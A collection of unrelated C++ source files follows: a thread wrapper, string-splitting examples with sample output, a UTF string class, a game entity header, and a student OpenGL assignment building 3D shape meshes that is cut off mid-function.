#include "mutex_thread.h" mutex_thread::mutex_thread::mutex_thread(unsigned int usec) { this->sleep_time=usec; } mutex_thread::mutex_thread::mutex_thread() { this->sleep_time=400000; this->state=STOPPED; this->running=1; } void mutex_thread::mutex_thread::pause() { this->mux.lock(); } void mutex_thread::mutex_thread::start() { this->running=1; this->thread=new std::thread(mutex_thread::mutex_thread::run,this); this->mux.unlock(); } //toto asi nepujde tak lehce poté obnovit akorát vytvořit nový vlákno? void mutex_thread::mutex_thread::stop() { this->running=0; this->mux.unlock(); if(this->thread!=nullptr) { this->thread->join(); delete this->thread; this->thread=nullptr; } } void mutex_thread::mutex_thread::change_sleep_time(unsigned int usec) { this->sleep_time=usec; } /* * only for runnig that fucking function * */ void mutex_thread::mutex_thread::run(mutex_thread* mx) { mx->do_job(); }
#include <iostream> #include <vector> #include <sstream> #include <fstream> using namespace std; vector<string> split0(string str,char deli) // string+vector逐字节处理 { vector<string> vec; string tmp; string::iterator it=str.begin(); for(; it != str.end();it++) { if (*it != deli) tmp += *it; else { vec.push_back(tmp); tmp = ""; } } return vec; } vector<string> split1(char* src,const char* separators) // strtok(),分隔符可以指定多个 { if (strlen(src) == 0) exit(0); vector<string> vec; char *pNext = (char *)strtok(src,separators); while(pNext != NULL) { vec.push_back(pNext); pNext = (char *)strtok(NULL,separators); } return vec; } int splitc(char *src,const char *separator,char **dest) // 完全按C代码写 { int count = 0; if (src == NULL || strlen(src) == 0) return 0; if (separator == NULL || strlen(separator) == 0) return 0; char *pNext = (char *)strtok(src,separator); while(pNext != NULL) { *dest++ = pNext; ++count; pNext = (char *)strtok(NULL,separator); } return count; } vector<string> split2(string str, string delis) // .find_first_of()+substr() { vector<string> vec; size_t current; size_t next = -1; do{ current = next + 1; next = str.find_first_of(delis, current); vec.push_back(str.substr(current, next - current)); }while(next != string::npos); return vec; } vector<string> split3(string str,char deli) // string+vector逐段处理 { vector<string> vec; string line; int pos = str.find(deli); while(pos != string::npos) { line = str.substr(0,pos); vec.push_back(line); str.erase(0,pos+1); pos = str.find(deli); } return vec; } vector<string> split(string str, char deli) // 字符串流+string+vector处理 { stringstream ss(str); string tmp; vector<string> vec; while(getline(ss, tmp, deli)) vec.push_back(tmp); return vec; } struct split { enum empties_t { empties_ok, no_empties }; }; template <typename Container> Container& splitt( Container& box, const typename Container::value_type& s, typename Container::value_type::value_type deli, split::empties_t empties = split::empties_ok ) { box.clear(); std::istringstream ss( s ); while (!ss.eof()) { typename Container::value_type field; getline(ss, field, deli); if((empties == split::no_empties) && field.empty()) continue; box.push_back( field ); } return box; } vector<string> split(string str) // fstream+string+vector处理 { ofstream ofs("tmp.txt"); ofs<<str.c_str(); ofs.close(); ifstream ifs("tmp.txt"); vector<string> vec; string tmp; while(getline(ifs,tmp)) vec.push_back(tmp); //cout<<ifs.rdbuf(); ifs.close(); return vec; } void Print(vector<string>& vec) { vector<string>::iterator it=vec.begin(); for(;it!=vec.end();it++) printf("%s\n", (*it).c_str()); } void Print(char **ppstr, int num) { for(int i=0; i<num; i++) printf("%s\n",ppstr[i]); } int main() { string str = "上善若水。\n水善利万物而不争,\n"; str += "处众人之所恶,故几于道。\n"; vector<string> vec = split0(str,'\n'); Print(vec); string str1 = "We are the world!\nwe are the one!\n"; vec = split1(const_cast<char*>(str1.c_str()),"\r\n"); Print(vec); char *buf[3] = {0}; char str2[] = "知善知恶\n为善去恶\n知行合一"; splitc(str2,"\n",buf); Print(buf,3); vec = split2(str,"\n"); Print(vec); vec = split3(str,'\n'); Print(vec); vec = split(str,'\n'); Print(vec); //splitt(vec,str,'\n'); //Print(vec); vec = split(str); Print(vec); cin.get(); return 0; } /* output: 上善若水。 水善利万物而不争, 处众人之所恶,故几于道。 We are the world! we are the one! 知善知恶 为善去恶 知行合一 上善若水。 水善利万物而不争, 处众人之所恶,故几于道。 上善若水。 水善利万物而不争, 处众人之所恶,故几于道。 上善若水。 水善利万物而不争, 处众人之所恶,故几于道。 上善若水。 水善利万物而不争, 处众人之所恶,故几于道。 https://ask.csdn.net/questions/690685 https://blog.csdn.net/qq_36743440/article/details/91999615 http://www.cplusplus.com/reference/cstring/strtok/ http://www.cplusplus.com/faq/sequences/strings/split/ */
// // Created by Terry on 15/9/12. // #include "utfstring.h" using namespace std; utfstring::utfstring() { } utfstring::utfstring(const char *str) { int i = 0; while (str[i] != 0x00) { if ((signed char)str[i] < 0) { string *zh_char = new string({str[i++], str[i++], str[i++]}); utfchars.push_back(zh_char); } else { string *en_char = new string({str[i++]}); utfchars.push_back(en_char); } } } const char *utfstring::c_str() { string *c_str = new string(); for (int i = 0; i < utfchars.size(); i++) { c_str->append(utfchars[i]->c_str()); } return c_str->c_str(); } utfstring *utfstring::substring(int begin, int length) { utfstring *substring = new utfstring(); for (int i = begin; i < begin + length; i++) { if (i >= utfchars.size()) { fprintf(stderr, "get substring out of range [%d, %d] in len = %d\n", begin, length, (int) utfchars.size()); break; } substring->append(utfchars[i]); } return substring; } void utfstring::append(string *str) { string *append_str = new string(str->c_str()); utfchars.push_back(append_str); } utfstring *utfstring::at(int index) { utfstring *str = new utfstring(); if (index >= utfchars.size()) { fprintf(stderr, "get index out of range %d in len = %d\n", index, (int) utfchars.size()); return str; } str->append(utfchars[index]); return str; } unsigned long utfstring::length() { return utfchars.size(); } utfstring::~utfstring() { for (int j = 0; j < utfchars.size(); j++) { delete(utfchars[j]); } utfchars.clear(); }
// This file is subject to the terms and conditions defined in 'LICENSE' in the source code package #ifndef JACTORIO_INCLUDE_PROTO_ABSTRACT_ENTITY_H #define JACTORIO_INCLUDE_PROTO_ABSTRACT_ENTITY_H #pragma once #include "jactorio.h" #include "game/world/tile_layer.h" #include "proto/detail/type.h" #include "proto/framework/entity.h" namespace jactorio::proto { class Item; /// Unique per entity placed in the world struct EntityData : FEntityData { CEREAL_SERIALIZE(archive) { archive(cereal::base_class<FEntityData>(this)); } }; /// Placeable items in the world class Entity : public FEntity { public: Entity() = default; ~Entity() override = default; Entity(const Entity& other) = default; Entity(Entity&& other) noexcept = default; Entity& operator=(const Entity& other) = default; Entity& operator=(Entity&& other) noexcept = default; /// Can be rotated by player? /// If false, also sets rotateDimensions to false PYTHON_PROP_REF_I(bool, rotatable, false); /// Can be placed by player? PYTHON_PROP_REF_I(bool, placeable, true); /// Item for this entity J_NODISCARD Item* GetItem() const { return item_; } Entity* SetItem(Item* item); // ====================================================================== // Localized names // Overrides the default setter to also set for the item associated with this void SetLocalizedName(const std::string& localized_name) override; void SetLocalizedDescription(const std::string& localized_description) override; // Renderer events bool OnRShowGui(const gui::Context& /*context*/, game::ChunkTile* /*tile*/) const override { return false; } // Game events /// Entity was build in the world virtual void OnBuild(game::World& world, game::Logic& logic, const WorldCoord& coord, Orientation orientation) const = 0; /// Determines if prototype can be built at coord /// \param coord Top left of prototype /// \param orien Orientation of prototype /// \return true if can be built J_NODISCARD virtual bool OnCanBuild(const game::World& world, const WorldCoord& coord, const Orientation orien) const { return true; } /// Entity was picked up from a built state, called BEFORE the entity has been removed virtual void OnRemove(game::World& world, game::Logic& logic, const WorldCoord& coord) const = 0; /// A neighbor of this prototype in the world was updated /// \param emit_coords Coordinates of the prototype which is EMITTING the update /// \param receive_coords Coordinates of the prototype RECEIVING the update /// \param emit_orientation Orientation to the prototype EMITTING the update virtual void OnNeighborUpdate(game::World& /*world*/, game::Logic& /*logic*/, const WorldCoord& emit_coords, const WorldCoord& receive_coords, Orientation emit_orientation) const {} void OnDeferTimeElapsed(game::World& /*world*/, game::Logic& /*logic*/, UniqueDataBase* /*unique_data*/) const override { assert(false); // Unimplemented } void OnTileUpdate(game::World& /*world*/, const WorldCoord& /*emit_coords*/, const WorldCoord& /*receive_coords*/, UpdateType /*type*/) const override { assert(false); // Unimplemented } /// \param coord Top left coordinate /// \param tile Tile in world at coord void OnDeserialize(game::World& world, const WorldCoord& coord, game::ChunkTile& tile) const override {} void PostLoad() override; void PostLoadValidate(const data::PrototypeManager& proto) const override; void SetupSprite() override; private: /// Item when entity is picked up Item* item_ = nullptr; }; } // namespace jactorio::proto #endif // JACTORIO_INCLUDE_PROTO_ABSTRACT_ENTITY_H
#include "coordTransform.h" extern RECT clientRect;
/******************************************************* FILE: stitcher.cpp AUTHOR: Zach Sadler - zps6 DOES: Generates vertices and normals for 3d shapes, and displays them on screen. Also has some fun extra credit goodies PLATFORM: macosx ********************************************************/ #include <stdio.h> #include "stitcher.h" #include "Matrix2.cpp" #include "Matrix3.cpp" int theta_x; int theta_y; int crt_render_mode; int crt_shape, crt_rs= 10, crt_vs= 10; // effectively, the shapes Matrix3 sphere_verts; Matrix3 cylinder_verts; Matrix3 cone_verts; Matrix3 torus_verts; // default sizes for the shapes double cyl_height=1, cyl_ray=.5; double sph_ray=1; double cone_ray = 1, cone_height = 1; double torus_r1 = 1.2, torus_r2 = .2; // used in calculations throughout double theta, phi, h, r; // toggle for showing the normals short show_normals; // extra credit things here short slowmo; short spin_x, spin_y, play_rs, play_vs; int timer_speed = 50; /********************************* * main: didn't touch this from the example code ************************************/ int main(int argc, char **argv) { /* General initialization for GLUT and OpenGL Must be called first */ glutInit( &argc, argv ) ; /* we define these setup procedures */ glut_setup() ; gl_setup() ; my_setup(); /* go into the main event loop */ glutMainLoop() ; return(0) ; } /********************************* * glut_setup: didn't touch this either, from the example code * except to change the window size and position, as well as the name ************************************/ void glut_setup(void) { /* specify display mode -- here we ask for a double buffer and RGB coloring */ /* NEW: tell display we care about depth now */ glutInitDisplayMode (GLUT_DOUBLE |GLUT_RGB |GLUT_DEPTH); glutInitWindowSize(800 ,800); glutInitWindowPosition(300,3000); glutCreateWindow("Zach Sadler - zps6 - Assignment 2"); /*initialize callback functions */ glutDisplayFunc( my_display ); glutReshapeFunc( my_reshape ); glutMouseFunc( my_mouse); glutKeyboardFunc(my_keyboard); glutTimerFunc( timer_speed, my_TimeOut, 0);/* schedule a my_TimeOut call with the ID 0 in 20 seconds from now */ return ; } /********************************* * gl_setup: didn't touch this from the example code ************************************/ void gl_setup(void) { /* specifies a background color: black in this case */ glClearColor(0,0,0,0) ; /* NEW: now we have to enable depth handling (z-buffer) */ glEnable(GL_DEPTH_TEST); /* NEW: setup for 3d projection */ glMatrixMode (GL_PROJECTION); glLoadIdentity(); // perspective view gluPerspective( 20.0, 1.0, 1.0, 100.0); return; } /********************************* * my_setup: added the rest of the make_OBJECT ************************************/ void my_setup(void) { theta_x = 0; theta_y = 0; crt_render_mode = GL_LINE_LOOP; crt_shape = HOUSE; make_cylinder(cyl_height,cyl_ray,crt_rs,crt_vs); make_sphere(sph_ray,crt_rs,crt_vs); make_cone(cone_height, cone_ray, crt_rs, crt_vs); make_torus(torus_r1, torus_r2, crt_rs, crt_vs); return; } /********************************* * my_reshape: didn't touch this from the example code ************************************/ void my_reshape(int w, int h) { /* define viewport -- x, y, (origin is at lower left corner) width, height */ glViewport (0, 0, min(w,h), min(w,h)); return; } /********************************* * my_keyboard: added quite a bit here; see the 'Controls' part of the readme file for more details ************************************/ void my_keyboard( unsigned char key, int x, int y ) { switch( key ) { // rotations case 'y': case 'Y': { theta_y = (theta_y+5) %360; glutPostRedisplay(); }; break; case 'x': case 'X': { theta_x = (theta_x+5) %360; glutPostRedisplay(); }; break; case 'z': case 'Z': { theta_x = (theta_x-5) %360; glutPostRedisplay(); }; break; case 't': case 'T': { theta_y = (theta_y-5) %360; glutPostRedisplay(); }; break; // changing the shape case 'B': case 'b': { crt_shape = CUBE; glutPostRedisplay(); }; break; case 'H': case 'h': { crt_shape = HOUSE; glutPostRedisplay(); }; break; case 'S': case 's': { crt_shape = SPHERE; glutPostRedisplay(); }; break; case 'N': case 'n': { crt_shape = CONE; glutPostRedisplay(); }; break; case 'C': case 'c': { crt_shape = CYLINDER; glutPostRedisplay(); }; break; case 'r': case 'R': { crt_shape = TORUS; glutPostRedisplay(); }; break; // toggle showing the normals case 'V': case 'v': { show_normals = (1 + show_normals)%2; glutPostRedisplay(); }; break; // these adjust rs and vs, and then re-call the make functions case '=': case '+': { if (crt_rs < 50) crt_rs++; make_sphere(sph_ray, crt_rs, crt_vs); make_cylinder(cyl_height,cyl_ray,crt_rs,crt_vs); make_cone(cone_height, cone_ray, crt_rs, crt_vs); make_torus(torus_r1, torus_r2, crt_rs, crt_vs); glutPostRedisplay(); }; break; case '_': case '-': { if (crt_rs > 3) crt_rs--; make_sphere(sph_ray, crt_rs, crt_vs); make_cylinder(cyl_height,cyl_ray,crt_rs,crt_vs); make_cone(cone_height, cone_ray, crt_rs, crt_vs); make_torus(torus_r1, torus_r2, crt_rs, crt_vs); glutPostRedisplay(); }; break; case '<': case ',': { if (crt_vs < 50) crt_vs++; make_sphere(sph_ray, crt_rs, crt_vs); make_cylinder(cyl_height,cyl_ray,crt_rs,crt_vs); make_cone(cone_height, cone_ray, crt_rs, crt_vs); make_torus(torus_r1, torus_r2, crt_rs, crt_vs); glutPostRedisplay(); }; break; case '>': case '.': { if (crt_vs > 3) crt_vs--; make_sphere(sph_ray, crt_rs, crt_vs); make_cylinder(cyl_height,cyl_ray,crt_rs,crt_vs); make_cone(cone_height, cone_ray, crt_rs, crt_vs); make_torus(torus_r1, torus_r2, crt_rs, crt_vs); glutPostRedisplay(); }; break; // quit the program (not that anyone ever would want to...) case 'q': case 'Q': { exit(0) ; }; break; /************************************/ /**********EXTRA CREDIT BELOW********/ /************************************/ // toggle slowmo drawing case '1': { slowmo = (1 + slowmo)%2; }; break; // my sizes that I prefer over the defaults // I think these are much prettier and easier to see case '2': { cyl_height=3; cyl_ray=1; sph_ray=2; cone_ray = 1.5; cone_height = 3; torus_r1 = 2; torus_r2 = .5; crt_rs = 25; crt_vs = 25; make_sphere(sph_ray, crt_rs, crt_vs); make_cylinder(cyl_height,cyl_ray,crt_rs,crt_vs); make_cone(cone_height, cone_ray, crt_rs, crt_vs); make_torus(torus_r1, torus_r2, crt_rs, crt_vs); glutPostRedisplay(); }; break; // toggles automatically rotating along the x axis case '3': { spin_x = (1 + spin_x)%2; glutPostRedisplay(); }; break; // toggles automatically rotating along the y axis case '4': { spin_y = (1 + spin_y)%2; glutPostRedisplay(); }; break; // toggles automatically iterating through values for rs case '5': { play_rs = (1 + play_rs)%2; glutPostRedisplay(); }; break; // toggles automatically iterating through values for vs case '6': { play_vs = (1 + play_vs)%2; glutPostRedisplay(); }; break; // changes the timer_speed from 50 -> 100 -> 150 -> 200 -> 250 -> 50 -> ... case '7': { timer_speed = (50 + timer_speed) % 300; if (timer_speed == 0) { timer_speed = 50; } }; break; default: break; } return ; } /********************************* * my_mouse: largely untouched from the example code ************************************/ void my_mouse(int button, int state, int mousex, int mousey) { switch( button ) { case GLUT_LEFT_BUTTON: if( state == GLUT_DOWN ) { crt_render_mode = GL_LINE_LOOP; glutPostRedisplay(); } if( state == GLUT_UP ) { } break ; case GLUT_RIGHT_BUTTON: if ( state == GLUT_DOWN ) { crt_render_mode = GL_POLYGON; glutPostRedisplay(); } if( state == GLUT_UP ) { } break ; } return ; } /********************************* * draw_triangle: untouched from the example code ************************************/ void draw_triangle(GLfloat vertices[][4], int iv1, int iv2, int iv3, int ic) { glBegin(crt_render_mode); { glColor3fv(colors[ic]); /*note the explicit use of homogeneous coords below: glVertex4f*/ glVertex4fv(vertices[iv1]); glVertex4fv(vertices[iv2]); glVertex4fv(vertices[iv3]); } glEnd(); } /********************************* * my_triangle: this is my triangle drawing function. It takes in a Shape object, indices into the shape's vertex array, and the values of rs and vs. It generates two triangles, stitched together, of different colors. It also displays the normals, if asked. ************************************/ void my_triangle(Matrix3 verts, int i, int j, int rs, int vs) { // start of triangle 1 glBegin(crt_render_mode); { glColor3fv(colors[MAGENTA]); Vector v1, v2, v3; v1.set_vector(verts.get_vector(i, j).get_x(), verts.get_vector(i, j).get_y(), verts.get_vector(i, j).get_z(), verts.get_vector(i, j).get_w()); v2.set_vector(verts.get_vector((i+1)%rs, j).get_x(), verts.get_vector((i+1)%rs, j).get_y(), verts.get_vector((i+1)%rs, j).get_z(), verts.get_vector((i+1)%rs, j).get_w()); v3.set_vector(verts.get_vector((i+1)%rs, (j+1)%vs).get_x(), verts.get_vector((i+1)%rs, (j+1)%vs).get_y(), verts.get_vector((i+1)%rs, (j+1)%vs).get_z(), verts.get_vector((i+1)%rs, (j+1)%vs).get_w()); glVertex4f(v1.get_x(), v1.get_y(), v1.get_z(), v1.get_w()); glVertex4f(v2.get_x(), v2.get_y(), v2.get_z(), v2.get_w()); glVertex4f(v3.get_x(), v3.get_y(), v3.get_z(), v3.get_w()); } glEnd(); // start of triangle two glBegin(crt_render_mode); { glColor3fv(colors[WHITE]); Vector v1, v2, v3; v1.set_vector(verts.get_vector((i+1)%rs, (j+1)%vs).get_x(), verts.get_vector((i+1)%rs, (j+1)%vs).get_y(), verts.get_vector((i+1)%rs, (j+1)%vs).get_z(), verts.get_vector((i+1)%rs, (j+1)%vs).get_w()); v2.set_vector(verts.get_vector(i, (j+1)%vs).get_x(), verts.get_vector(i, (j+1)%vs).get_y(), verts.get_vector(i, (j+1)%vs).get_z(), verts.get_vector(i, (j+1)%vs).get_w()); v3.set_vector(verts.get_vector(i, j).get_x(), verts.get_vector(i, j).get_y(), verts.get_vector(i, j).get_z(), verts.get_vector(i, j).get_w()); glVertex4f(v1.get_x(), v1.get_y(), v1.get_z(), v1.get_w()); glVertex4f(v2.get_x(), v2.get_y(), v2.get_z(), v2.get_w()); glVertex4f(v3.get_x(), v3.get_y(), v3.get_z(), v3.get_w()); } glEnd(); // start of drawing the normals if (show_normals) { Vector v1; v1.set_vector(verts.get_vector(i, j).get_x(), verts.get_vector(i, j).get_y(), verts.get_vector(i, j).get_z(), verts.get_vector(i, j).get_w()); glBegin(GL_LINES); { glColor3fv(colors[CYAN]); glVertex4f(v1.get_x(), v1.get_y(), v1.get_z(), v1.get_w()); glVertex4f(verts.get_vertex_norm(i,j).get_x(), verts.get_vertex_norm(i,j).get_y(), verts.get_vertex_norm(i,j).get_z(), verts.get_vertex_norm(i,j).get_w()); } glEnd(); } } /********************************* * draw_quad: untouched from the example code ************************************/ void draw_quad(GLfloat vertices[][4], int iv1, int iv2, int iv3, int iv4, int ic) { glBegin(crt_render_mode); { glColor3fv(colors[ic]); /*note the explicit use of homogeneous coords below: glVertex4f*/ glVertex4fv(vertices[iv1]); glVertex4fv(vertices[iv2]); glVertex4fv(vertices[iv3]); glVertex4fv(vertices[iv4]); } glEnd(); } /********************************* * draw_param_quad: untouched from the example code ************************************/ void draw_param_quad(GLfloat vertices[][50][4], int line, int col, int ic) { } /********************************* * draw_house: untouched from the example code ************************************/ void draw_house() { draw_triangle(vertices_house,0,1,2,RED); draw_triangle(vertices_house,0,2,3,GREEN); draw_triangle(vertices_house,0,3,4,WHITE); draw_triangle(vertices_house,0,4,1,GREY); draw_quad(vertices_house,2,1,5,6, BLUE); draw_triangle(vertices_house,2,6,3, CYAN); draw_triangle(vertices_house,3,6,7, CYAN); draw_triangle(vertices_house,3,7,8, YELLOW); draw_triangle(vertices_house,8,3,4, YELLOW); draw_triangle(vertices_house,4,8,1, MAGENTA); draw_triangle(vertices_house,1,8,5, MAGENTA); } /********************************* * draw_triangle: added bottom and top faces, as well as normals ************************************/ void draw_cube_brute() { draw_triangle(vertices_cube_brute, 7,6,4,RED); draw_triangle(vertices_cube_brute, 6,5,4,RED); draw_triangle(vertices_cube_brute, 3,2,1,WHITE); draw_triangle(vertices_cube_brute, 0,3,1,WHITE); draw_triangle(vertices_cube_brute, 4,5,1,BLUE); draw_triangle(vertices_cube_brute, 0,4,1,BLUE); draw_triangle(vertices_cube_brute, 5,6,2,CYAN); draw_triangle(vertices_cube_brute, 1,5,2,CYAN); draw_triangle(vertices_cube_brute, 3,2,6,YELLOW); draw_triangle(vertices_cube_brute, 7,3,6,YELLOW); draw_triangle(vertices_cube_brute, 0,3,7,MAGENTA); draw_triangle(vertices_cube_brute, 4,0,7,MAGENTA); if (show_normals) { glBegin(GL_LINES); { glColor3fv(colors[CYAN]); glVertex4f(1, 1, 1, 1); glVertex4f(1 + 1/sqrt(3), 1 + 1/sqrt(3), 1 + 1/sqrt(3), 1); glVertex4f(1, 1, -1, 1); glVertex4f(1 + 1/sqrt(3), 1 + 1/sqrt(3), -1 - 1/sqrt(3), 1); glVertex4f(1, -1, 1, 1); glVertex4f(1 + 1/sqrt(3), -1 - 1/sqrt(3), 1 + 1/sqrt(3), 1); glVertex4f(1, -1, -1, 1); glVertex4f(1 + 1/sqrt(3), -1 - 1/sqrt(3), -1 - 1/sqrt(3), 1); glVertex4f(-1, 1, 1, 1); glVertex4f(-1 - 1/sqrt(3), 1 + 1/sqrt(3), 1 + 1/sqrt(3), 1); glVertex4f(-1, 1, -1, 1); glVertex4f(-1 - 1/sqrt(3), 1 + 1/sqrt(3), -1 - 1/sqrt(3), 1); glVertex4f(-1, -1, 1, 1); glVertex4f(-1 - 1/sqrt(3), -1 - 1/sqrt(3), 1 + 1/sqrt(3), 1); glVertex4f(-1, -1, -1, 1); glVertex4f(-1 - 1/sqrt(3), -1 - 1/sqrt(3), -1 - 1/sqrt(3), 1); } glEnd(); } } /********************************* * calculate_norms: Takes in a shape object's address (so it can modify it), indices into the shape's verts array, and rs and vs. Generates face norms, and puts them into the face_norms array. Just generates three vectors, then subtracts them and crosses the result, which it normalizes and stores in the array. ************************************/ void calculate_norms(Matrix3 &verts, int i, int j, int rs, int vs) { Vector v1, v2, v3; Vector n1, n2; Vector norm; // start of first (upper left hand) triangle v1.set_vector(verts.get_vector(i, j).get_x(), verts.get_vector(i, j).get_y(), verts.get_vector(i, j).get_z(), verts.get_vector(i, j).get_w()); v2.set_vector(verts.get_vector((i+1)%rs, j).get_x(), verts.get_vector((i+1)%rs, j).get_y(), verts.get_vector((i+1)%rs, j).get_z(), verts.get_vector((i+1)%rs, j).get_w()); v3.set_vector(verts.get_vector((i+1)%rs, (j+1)%vs).get_x(), verts.get_vector((i+1)%rs, (j+1)%vs).get_y(), verts.get_vector((i+1)%rs, (j+1)%vs).get_z(), verts.get_vector((i+1)%rs, (j+1)%vs).get_w()); n1 = v2.subtract(v1); n2 = v3.subtract(v2); norm = n2.cross_product(n1); norm.normalize(); verts.set_face_norm(norm, i, j); } /********************************* * calculate_vertex_norms: Using the face norms calculated above, generates a vertex norm by simply summing and normalizing. Stores the result in the vertex_norms array. ************************************/ void calculate_vertex_norms(Matrix3 &verts, int i, int j, int rs, int vs) { Vector v1, v2, v3, v4; Vector ans; v1 = verts.get_face_norm(i,(j-1)%vs); v2 = verts.get_face_norm((i-1)%rs,(j-1)%vs); v3 = verts.get_face_norm((i-1)%rs,j); v4 = verts.get_face_norm(i,j); ans = v4.plus(v3); ans = v4.plus(v2); ans = v4.plus(v1); ans.normalize(); ans = ans.scale(.2); ans = verts.get_vector(i,j).subtract(ans); verts.set_vertex_norm(ans, i, j); } /********************************* * make_cylinder: Generates the vertices for the cylinder, then goes ahead and asks for the face norms and vertex norms. ************************************/ void make_cylinder(double height, double ray, int rs, int vs) { Matrix2 m; Vector vstart; vstart.set_vector(1, 0, 0, 1); int i, j; // populate our matrix with the starting vector for (i = 0; i < vs; i++) { for (j = 0; j < rs; j++) { cylinder_verts.set_vector(vstart, j, i); } } // then multiply by our transformation matrix for (i = 0, h = -height/2; i < vs; i++, h += height/vs) { for (j = 0, phi = -M_PI; j < rs; j++, phi += (2*M_PI)/rs) { GLdouble m_vals[16] = { ray*cos(phi), 0, sin(phi), 0, ray*0, 1, 0, h, -ray*sin(phi), 0, cos(phi), 0, 0, 0, 0, 1}; m.set_matrix(m_vals); cylinder_verts.multiply(m, j, i); } } // generate face norms for (int i = 0; i < vs - 1; i++) { for (int j = 0; j < rs; j++) { calculate_norms(cylinder_verts, j, i, rs, vs); } } // generate vertex norms for (int i = 0; i < vs - 1; i++) { for (int j = 0; j < rs; j++) { calculate_vertex_norms(cylinder_verts, j, i, rs, vs); } } } /********************************* * make_sphere: Generates the vertices for the sphere, then goes ahead and asks for the face norms and vertex norms. ************************************/ void make_sphere(double ray, int rs, int vs) { Matrix2 m; Vector vstart; vstart.set_vector(0, -1, 0, 1); int i, j; for (i = 0; i <= vs; i++) { for (j = 0; j <= rs; j++) { sphere_verts.set_vector(vstart, j, i); } } for (i = 0, phi = 0; i <= vs; i++, phi += 2*M_PI/vs) { for (j = 0, theta = 0; j <= rs; j++, theta += M_PI/rs) { GLdouble m_vals[16] = { cos(phi)*cos(theta), -ray*cos(phi)*sin(theta), sin(phi), 0, sin(theta), ray*cos(theta), 0, 0, -sin(phi)*cos(theta), ray*sin(phi)*sin(theta), cos(phi), 0, 0, 0, 0, 1}; m.set_matrix(m_vals); sphere_verts.multiply(m, j, i); } } for (i = 0; i <= vs; i++) { for (j = 0; j < rs; j++) { calculate_norms(sphere_verts, j, i, rs + 1, vs + 1); } } for (i = 0; i <= vs; i++) { for (j = 0; j < rs; j++) { calculate_vertex_norms(sphere_verts, j, i, rs + 1, vs + 1); } } } /********************************* * make_cone: Generates the vertices for the cone, then goes ahead and asks for the face norms and vertex norms. ************************************/ void make_cone(double height, double ray, int rs, int vs) { Matrix2 m; Vector vstart; vstart.set_vector(1, 0, 0, 1); int i, j; for (i = 0; i < vs; i++) { for (j = 0; j < rs; j++) { cone_verts.set_vector(vstart, j, i); } } for (i = 0, h = -height/2; i < vs; i++, h += height/vs) { for (j = 0, phi = -M_PI; j < rs; j++, phi += (2*M_PI)/rs) { r = ray*(height - h)/height; // this snippet gives the top of the cone if (i == vs-1) { r = 0; h = height; } GLdouble m_vals[16] = { r*cos(phi), 0, sin(phi), 0, 0, 1, 0, h, -r*sin(phi), 0, cos(phi), 0, 0, 0, 0, 1}; m.set_matrix(m_vals); cone_verts.multiply(m, j, i); } } for (int i = 0; i < vs - 1; i++) { for (int j = 0; j < rs; j++) { calculate_norms(cone_verts, j, i, rs, vs); } } for (int i = 0; i < vs - 1; i++) { for (int j = 0; j < rs; j++) { calculate_vertex_norms(cone_verts, j, i, rs, vs); } } } /********************************* * make_torus: Generates the vertices for the torus, then goes ahead and asks for the face norms and vertex norms. ************************************/ void make_torus(double r1, double r2, int rs, int vs) { Matrix2 m; Vector vstart; vstart.set_vector(1, 0, 0, 1); int i, j; for (i = 0; i < vs; i++) { for (j = 0; j < rs; j++) { torus_verts.set_vector(vstart, j, i); } } for (i = 0, phi = 0; i < vs; i++, phi += 2*M_PI/vs) { for (j = 0, theta = 0; j < rs; j++, theta += 2*M_PI/rs) { GLdouble m_vals[16] = { r2*cos(phi)*cos(theta), -cos(theta)*sin(theta), sin(phi), r1*cos(phi), r2*sin(theta), cos(theta), 0, 0, -r2*sin(phi)*cos(theta), sin(phi)*sin(theta), cos(phi), -r1*sin(phi), 0, 0, 0, 1}; m.set_matrix(m_vals); torus_verts.multiply(m, j, i); } } for (int i = 0; i < vs; i++) { for (int j = 0; j < rs; j++) { calculate_norms(torus_verts, j, i, rs, vs); } } for (int i = 0; i < vs; i++) { for (int j = 0; j < rs; j++) { calculate_vertex_norms(torus_verts, j, i, rs, vs); } } } /********************************* * draw_sphere: Calls my_triangle with the correct parameters. ************************************/ void draw_sphere(int rs, int vs) { for (int i = 0; i <= vs; i++) { for (int j = 0; j < rs; j++) { my_triangle(sphere_verts, j, i, rs + 1, vs + 1); // a crude, but effective way to slow down the drawing proccess // and show what's happening if (slowmo) { glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); } } } } /********************************* * draw_cone: Calls my_triangle with the correct parameters. ************************************/ void draw_cone(int rs, int vs) { for (int i = 0; i < vs - 1; i++) { for (int j = 0; j < rs; j++) { my_triangle(cone_verts, j, i, rs, vs); // a crude, but effective way to slow down the drawing proccess // and show what's happening if (slowmo) { glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); } } } } /********************************* * draw_cylinder: Calls my_triangle with the correct parameters. ************************************/ void draw_cylinder(int rs, int vs) { for (int i = 0; i < vs - 1; i++) { for (int j = 0; j < rs; j++) { my_triangle(cylinder_verts, j, i, rs, vs); // a crude, but effective way to slow down the drawing proccess // and show what's happening if (slowmo) { glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); } } } } /********************************* * draw_torus: Calls my_triangle with the correct parameters. ************************************/ void draw_torus(int rs, int vs) { for (int i = 0; i < vs; i++) { for (int j = 0; j < rs; j++) { my_triangle(torus_verts, j, i, rs, vs); // a crude, but effective way to slow down the drawing proccess // and show what's happening if (slowmo) { glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); glutSwapBuffers(); } } } } /********************************* * draw_object: Simply added the other shapes. ************************************/ void draw_object(int shape) { switch(shape){ case HOUSE: draw_house(); break; case CUBE: draw_cube_brute(); break; case CYLINDER: draw_cylinder(crt_rs, crt_vs); break; case CONE: draw_cone(crt_rs, crt_vs); break; case SPHERE: draw_sphere(crt_rs, crt_vs); break; case TORUS: draw_torus(crt_rs, crt_vs) ; break; case MESH: /*TODO EC: call your function here*/ ; break; default: break; } } /********************************* * my_display: Untouched. ************************************/ void my_display(void) { /* clear the buffer */ /* NEW: now we have to clear depth as well */ glClear(GL_COLOR_BUFFER_BIT|GL_DEPTH_BUFFER_BIT) ; glMatrixMode(GL_MODELVIEW) ; glLoadIdentity(); gluLookAt(0.0, 5.0, 25.0, // x,y,z coord of the camera 0.0, 0.0, 0.0, // x,y,z coord of the origin 0.0, 1.0, 0.0); // the direction of up (default is y-axis) glRotatef(theta_y,0,1,0); 